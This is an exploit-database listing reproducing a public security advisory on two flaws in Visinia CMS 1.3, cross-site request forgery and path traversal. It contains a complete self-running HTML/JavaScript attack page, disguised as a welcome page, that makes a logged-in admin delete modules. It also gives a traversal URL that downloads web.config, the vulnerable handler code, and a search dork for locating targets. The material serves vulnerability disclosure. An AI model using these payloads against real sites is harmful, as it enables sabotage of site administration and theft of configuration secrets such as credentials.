Visinia Multiple Vulnerabilities

vendor:

by:

Abysssec Inc

N/A

CVSS

N/A

CSRF, LFI

CWE

Product Name:

Affected Version From: Visinia 1.3

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Visinia Multiple Vulnerabilities

This version of Visinia has multiple vulnerabilities. The first vulnerability is CSRF for Remove Modules, where an attacker can navigate the admin to visit a malicious site to remove a module with a POST request to the server. The second vulnerability is LFI for download web.config or any file.

Mitigation:

Unknown

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 3 (0day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

Abysssec Inc Public Advisory
 
 
  Title            :  Visinia Multiple Vulnerabilities
  Affected Version :  Visinia 1.3
  Discovery        :  www.abysssec.com
  Vendor	       :  http://www.visinia.com/
  Download Links   :  http://visinia.codeplex.com/releases
  Dork		       :  "Powered by visinia"
		      
  Admin Page       :  http://Example.com/Login.aspx
 
Description :
===========================================================================================      
  This version of Visinia have Multiple Valnerabilities : 

        1- CSRF for Remove Modules
	2- LFI for download web.config or any file



CSRF for Remove Modules:
===========================================================================================     

  With this vulnerability you can navigate the admin to visit malicious  site (when he is already logged in) 
  to remove a Module with a POST request to server.

  In this path the Module will be removed:
         http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159   

  for removing other modules you need to just change ModuleId.
 
 
  The Source of HTML Page (Malicious  script) is here: 
  ----------------------------------------------------------------------------------------
<html>
<head>
<title >Wellcome to My Site!</title>
Hello!
...
...
...
This page remove Modules in Visinia CMS. 

<script>          
        function RemoveModule() {            
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {}

            var http = false;
            if (window.XMLHttpRequest) {
                http = new XMLHttpRequest();
            }
            else if (window.ActiveXObject) {
                http = new ActiveXObject("Microsoft.XMLHTTP");                
            }

            url = "http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159";
            http.onreadystatechange = done;
            http.open('POST', url, true);
            http.send(null);
        }
        function done() {
            if (http.readyState == 4 && http.status == 200) 
            {               
            }
        }     
</script>
</head>
<body onload ="RemoveModule();">
</body>
</html>

  ----------------------------------------------------------------------------------------


File Disclosure Vulnerability:
===========================================================================================     

  using this path you can download web.config file from server.
         http://Example.com/image.axd?picture=viNews/../../web.config
  
  The downloaded file is image.axd, while after downloading you find that the content of
  image.axd is web.config. 

  Vulnerable Code is in this DLL    : visinia.SmartEngine.dll 
  and this Method : ProcessRequest(HttpContext context) 

  --------------------------------------------------------------------
   public void ProcessRequest(HttpContext context)
   {
    if (!string.IsNullOrEmpty(context.Request.QueryString["picture"]))
    {
        string fileName = context.Request.QueryString["picture"];     // Give the file from URL
        string folder = WebRoots.GetResourcesRoot();
        try
        {
            FileInfo fi = new FileInfo(context.Server.MapPath(folder) + fileName);
            int index = fileName.LastIndexOf(".") + 1;
            string extension = fileName.Substring(index).ToLower();
            if (string.Compare(extension, "jpg") == 0)
            {
                context.Response.ContentType = "image/jpeg";
            }
            else
            {
                context.Response.ContentType = "image/" + extension;
            }
            context.Response.TransmitFile(fi.FullName);              // Put the file in 'Response' for downloading without any check
        }
        catch
        {
        }
    }
   }



===========================================================================================
 
feel free to contact me : shahin [at] abysssec.com